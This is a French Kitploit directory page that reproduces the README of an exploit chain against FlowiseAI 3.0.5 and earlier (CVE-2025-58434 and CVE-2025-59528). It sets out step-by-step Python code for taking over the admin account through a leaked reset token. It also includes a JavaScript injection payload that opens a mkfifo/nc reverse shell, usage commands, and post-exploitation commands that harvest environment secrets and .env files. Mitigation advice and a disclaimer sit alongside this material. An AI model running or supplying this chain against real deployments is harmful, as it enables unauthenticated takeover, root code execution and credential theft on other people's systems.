Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
FlowiseAI-Critical-KillChain — Chaîne d'attaque critique non authentifiée menant à une RCE complète dans FlowiseAI (CVE-2025-58434 + CVE-2025-59528) | Kitploit
Outils/GitHubGitHub/cveteam/flowiseai-critical-killchain
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

Chaîne d'attaque critique non authentifiée menant à une RCE complète dans FlowiseAI (CVE-2025-58434 + CVE-2025-59528)

Voir le dépôt
1il y a 4 moisPas encore vérifié

FlowiseAI — Chaîne d'attaque critique

Prise de contrôle de compte non authentifiée enchaînée avec exécution de code à distance contre FlowiseAI <= 3.0.5.
Compromission complète du conteneur en moins de 5 secondes, aucune information d'identification requise.


Chaîne d'attaque

Diagramme de la chaîne d'attaque FlowiseAI
Gauche : page de connexion FlowiseAI — Droite : shell root via CVE-2025-59528 · uid=0(root)


Table des matières

  • Comment ça fonctionne — Aperçu
  • Détails des vulnérabilités
    • CVE-2025-58434 — Divulgation non authentifiée du jeton de réinitialisation de mot de passe
    • CVE-2025-59528 — Exécution de code à distance via le nœud CustomMCP
  • Pourquoi cette chaîne est mortelle
  • Explication détaillée du code de l'exploit
  • Utilisation
  • Post-exploitation
  • Atténuation
  • Références

Comment ça fonctionne — Aperçu

Cet exploit enchaîne deux vulnérabilités critiques indépendantes en une seule attaque entièrement automatisée. Aucune des deux vulnérabilités ne garantit à elle seule une compromission complète — mais ensemble, elles forment une chaîne d'attaque complète allant de zéro identifiant à un shell root à l'intérieur d'un conteneur Docker.

root@kitploit:~
[Aucun identifiant]
      │
      ▼
① Abuser du point de terminaison forgot-password (aucune authentification requise)
      │  → Le serveur répond avec le jeton de réinitialisation de la victime en texte clair
      ▼
② Soumettre le jeton au point de terminaison reset-password
      │  → L'attaquant contrôle le mot de passe administrateur
      ▼
③ Connexion + récupération de la clé API Bearer
      │  → Session authentifiée complète établie
      ▼
④ Envoyer une charge utile JavaScript via le nœud customMCP
      │  → Le serveur l'évalue via le constructeur Function()
      ▼
[Shell root à l'intérieur du conteneur Docker]

Ce qui le rend sans interaction : à aucun moment la victime ne reçoit un email, ne voit une alerte de connexion ou ne déclenche un événement visible. L'attaque est entièrement côté serveur.


Détails des vulnérabilités

CVE-2025-58434 — Divulgation non authentifiée du jeton de réinitialisation de mot de passe

CVSS 3.1 : 9.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affecté : FlowiseAI <= 3.0.5 (cloud + auto-hébergé)
Avis : GHSA-wgpv-6j63-x5ph

Cause racine

FlowiseAI a un concept de requêtes « internes » — des appels API entre ses propres services — identifiées par l'en-tête HTTP x-request-from: internal. Le point de terminaison /api/v1/account/forgot-password utilise cet en-tête pour sauter complètement l'authentification et renvoyer une réponse différente, plus détaillée que celle qu'il renverrait pour des appelants externes.

Le problème : cet en-tête n'est ni validé ni restreint de quelque façon que ce soit. N'importe quel attaquant sur Internet peut l'envoyer. Quand il le fait, au lieu de déclencher un email de réinitialisation de mot de passe, l'API répond avec l'enregistrement complet de l'utilisateur — y compris un tempToken actif qui peut être immédiatement utilisé pour définir un nouveau mot de passe.

Pourquoi ça fonctionne

Normalement, un flux de réinitialisation de mot de passe ressemble à :

root@kitploit:~
L'utilisateur demande la réinitialisation → Le serveur génère un jeton → Le jeton est envoyé par EMAIL → L'utilisateur clique sur le lien → Mot de passe changé

Ici, le serveur saute complètement l'étape d'envoi d'email et place le jeton directement dans le corps de la réponse HTTP. L'attaquant l'intercepte et passe directement à l'étape de réinitialisation — aucun accès à l'email nécessaire.

Requête

root@kitploit:~
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

Réponse 201 — enregistrement complet de l'utilisateur exposé

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

Le tempToken est ensuite soumis directement au point de terminaison de réinitialisation — aucune interaction par email, aucun CAPTCHA, aucune limite de débit.


CVE-2025-59528 — Exécution de code à distance via le nœud CustomMCP

CVSS 3.1 : 10.0 Critique — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affecté : FlowiseAI <= 3.0.5
Avis : GHSA-3gcm-f6qx-ff7p

Cause racine

FlowiseAI permet aux utilisateurs de définir des nœuds MCP (Model Context Protocol) personnalisés avec une configuration serveur fournie sous forme de chaîne JSON. En interne, la plateforme a besoin d'analyser cette configuration — et elle le fait en utilisant le constructeur Function() de JavaScript, qui est fonctionnellement équivalent à eval().

La chaîne de configuration atteint le point de chute complètement non nettoyée :

root@kitploit:~
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — ligne 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ entrée utilisateur non nettoyée — exécution JS arbitraire

Pourquoi Function() est aussi dangereux que eval()

Function('return ' + code)() fait ce qui suit :

  1. Construit une nouvelle fonction JavaScript avec code comme corps
  2. L'invoque immédiatement
  3. Renvoie le résultat

Cela donne à l'attaquant un contexte complet d'exécution JavaScript avec accès à process, require, child_process, et à l'ensemble de l'environnement d'exécution Node.js — pas un bac à sable.

Flux de contamination — de HTTP au shell

root@kitploit:~
HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← chaîne contrôlée par l'attaquant
       └─ substituteVariablesInString()            ← aucun filtrage, passe à travers
            └─ convertToValidJSONString()          ← aucun filtrage, passe à travers
                 └─ Function('return ' + input)()  ← le code arbitraire s'exécute ici

Charge utile d'injection

root@kitploit:~
({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

Pourquoi mkfifo et non /dev/tcp ?
Le conteneur exécute /bin/sh, pas /bin/bash. /dev/tcp est une fonctionnalité propre à bash — il n'existe pas dans les shells POSIX standards. mkfifo crée un tube nommé qui fonctionne dans tout shell conforme à POSIX, rendant le shell inversé portable dans les environnements conteneurisés.


Pourquoi cette chaîne est mortelle


Explication détaillée du code de l'exploit

L'exploit est structuré en quatre étapes séquentielles, chacune correspondant directement à une phase de la chaîne d'attaque.

Étape 1 — Récolte du jeton (CVE-2025-58434)

root@kitploit:~
r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

Ce qui se passe : Le serveur croit qu'il s'agit d'un appel interne de service à service à cause de l'en-tête x-request-from: internal. Il saute le chemin normal d'envoi d'email et renvoie l'enregistrement complet de l'utilisateur — y compris un jeton de réinitialisation de mot de passe actif — directement dans le corps de la réponse HTTP 201.

Pourquoi ça fonctionne : La vérification de l'en-tête est purement basée sur une chaîne de caractères, sans vérification cryptographique. N'importe quel appelant peut la définir. Le serveur ne valide pas l'origine de la requête.


Étape 2 — Prise de contrôle du compte

root@kitploit:~
session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

Ce qui se passe : Le tempToken volé est soumis avec un nouveau mot de passe choisi par l'attaquant. Le serveur valide le jeton (qui est réel et actif), confirme que l'email correspond, et met à jour le hachage des identifiants — aucune confirmation par email, aucun contrôle secondaire.

Pourquoi ça fonctionne : La validation du jeton vérifie seulement que le jeton existe et n'a pas expiré. Elle ne vérifie pas que l'appelant qui a généré le jeton est le même que celui qui soumet la réinitialisation. La propriété n'est jamais vérifiée.


Étape 3 — Extraction de la session et de la clé API

root@kitploit:~
# Connexion avec le mot de passe nouvellement défini
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# Récupération de la clé API Bearer nécessaire pour le point de terminaison RCE
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

Ce qui se passe : Une connexion normale avec le nouveau mot de passe de l'attaquant établit une session administrateur complète (basée sur les cookies). La session est ensuite utilisée pour récupérer la clé API par défaut de la plateforme, qui est requise pour authentifier les requêtes au point de terminaison node-load-method utilisé à l'étape 4.

Pourquoi ça fonctionne : À ce stade, l'attaquant EST l'administrateur — il possède les identifiants. La session et la clé API sont légitimement délivrées par le serveur.


Étape 4 — Exécution de code à distance (CVE-2025-59528)

root@kitploit:~
js_payload = (
    '({x:(function(){const cp = process.mainModule.require("child_process"); '
    f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
    f"{TARGET}/api/v1/node-load-method/customMCP",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)

Ce qui se passe : La charge utile est une fonction JavaScript auto-invoquée (IIFE) déguisée en objet compatible JSON. Lorsque convertToValidJSONString() la traite, la valeur atterrit dans Function('return ' + input)() — qui l'exécute comme du JavaScript vivant avec un accès complet à l'environnement d'exécution Node.js. child_process.exec() déclenche la commande du shell inversé, établissant une connexion de retour vers l'écouteur de l'attaquant.

Pourquoi l'IIFE ? Le motif Function('return ' + x) attend que l'expression puisse être retournée. Envelopper le code malveillant dans ({x: (function(){ ... })()}) rend l'expression entière valide en JavaScript, qui s'évalue en un objet — satisfaisant l'analyseur tout en exécutant la charge utile comme effet secondaire.

Pourquoi nohup + disown ? La requête HTTP a un délai d'expiration. Sans détacher le processus, le shell mourrait lorsque la requête expirerait. nohup + disown détache le shell inversé du processus Node.js, le maintenant actif indépendamment.


Utilisation

root@kitploit:~
# 1. Démarrez d'abord votre écouteur
nc -lvnp 4444

# 2. Exécutez la chaîne d'attaque complète
python3 exploit.py -ip <IP_CIBLE> -lhost <VOTRE_IP> -lport 4444

# 3. Si le mot de passe administrateur a déjà été réinitialisé lors d'une tentative précédente
python3 exploit.py -ip <IP_CIBLE> -lhost <VOTRE_IP> -lport 4444 --skipreset

Arguments

Prérequis

root@kitploit:~
pip install requests

Post-exploitation

Une fois le shell obtenu, le conteneur s'exécute généralement en tant que root avec accès à l'environnement complet de l'application FlowiseAI :

root@kitploit:~
# Secrets et identifiants
env                       # API keys, DB URIs, service credentials in environment vars
cat .env                  # FlowiseAI config file — database passwords, JWT secrets

# Application internals
ls /app/packages/         # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env

# Container context
cat /proc/1/cmdline       # What process is PID 1 — confirms container environment
hostname                  # Container ID
cat /etc/hosts            # Internal network map — other services reachable

# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"

Atténuation


Références

  • Avis de sécurité FlowiseAI — CVE-2025-58434
  • Avis de sécurité FlowiseAI — CVE-2025-59528
  • NVD — CVE-2025-58434
  • NVD — CVE-2025-59528
  • OWASP : Test des fonctionnalités de changement ou de réinitialisation faibles de mot de passe
  • CWE-94 : Contrôle inadéquat de la génération de code

Avertissement

Ce dépôt et tout le code associé sont publiés strictement à des fins éducatives et de recherche en sécurité autorisée.

Les deux vulnérabilités sont divulguées publiquement et corrigées à partir de FlowiseAI 3.0.6. Tester des systèmes que vous ne possédez pas ou sans autorisation écrite explicite est illégal en vertu de la législation applicable — y compris, mais sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act et la directive européenne NIS2.

Les auteurs déclinent toute responsabilité pour les dommages résultant d'une mauvaise utilisation de ce matériel.


0H4K3D · CVE Team

Télécharger l’outil
PropriétéDétails
Aucun identifiant requisL'attaquant commence sans rien, juste une IP cible
Aucune interaction avec la victimePas de phishing, pas de clic, pas d'ingénierie sociale
Aucune limitation de débitLe point de terminaison de réinitialisation n'a pas de limitation - forcible si nécessaire
Aucun CAPTCHALe flux de réinitialisation n'a pas de vérification humaine
Aucune confirmation par emailLe changement de mot de passe est immédiat, silencieux, irréversible
Environnement d'exécution Node.js complet dans l'RCEchild_process, système de fichiers, réseau — pas de bac à sable
S'exécute en tant que root dans DockerLe conteneur est généralement lancé en tant que root, accès complet au système de fichiers
Affecte le cloud + l'auto-hébergéTout déploiement de <= 3.0.5 est vulnérable
IndicateurDescriptionRequis
-ipAdresse IP de la cible✅
-lhostVotre IP pour le rappel du shell inversé✅
-lportVotre port d'écoute✅
--skipresetIgnorer CVE-2025-58434 (phases 1 & 2) — à utiliser si le compte est déjà compromis❌
CorrectifPriorité
Mettre à jour vers FlowiseAI ≥ 3.0.6🔴 Immédiate
Bloquer x-request-from: internal au niveau du proxy inverse — il ne devrait jamais venir d'Internet🔴 Immédiate
Restreindre /api/v1/account/* aux seules sessions authentifiées🔴 Immédiate
Nettoyer mcpServerConfig — ne jamais passer d'entrée utilisateur à Function() ou eval()🔴 Immédiate
Ajouter une limitation de débit et un CAPTCHA à tous les points de terminaison de réinitialisation de mot de passe🔴 Immédiate
Isoler l'instance FlowiseAI d'Internet si l'exposition publique n'est pas nécessaire🟠 Élevée
Exécuter le conteneur en tant qu'utilisateur non root🟠 Élevée
Activer la détection d'anomalies sur les points de terminaison de réinitialisation de mot de passe et MCP🟡 Moyenne
Auditer tous les points de terminaison qui acceptent x-request-from et vérifier qu'ils ne peuvent pas être appelés depuis l'extérieur🟡 Moyenne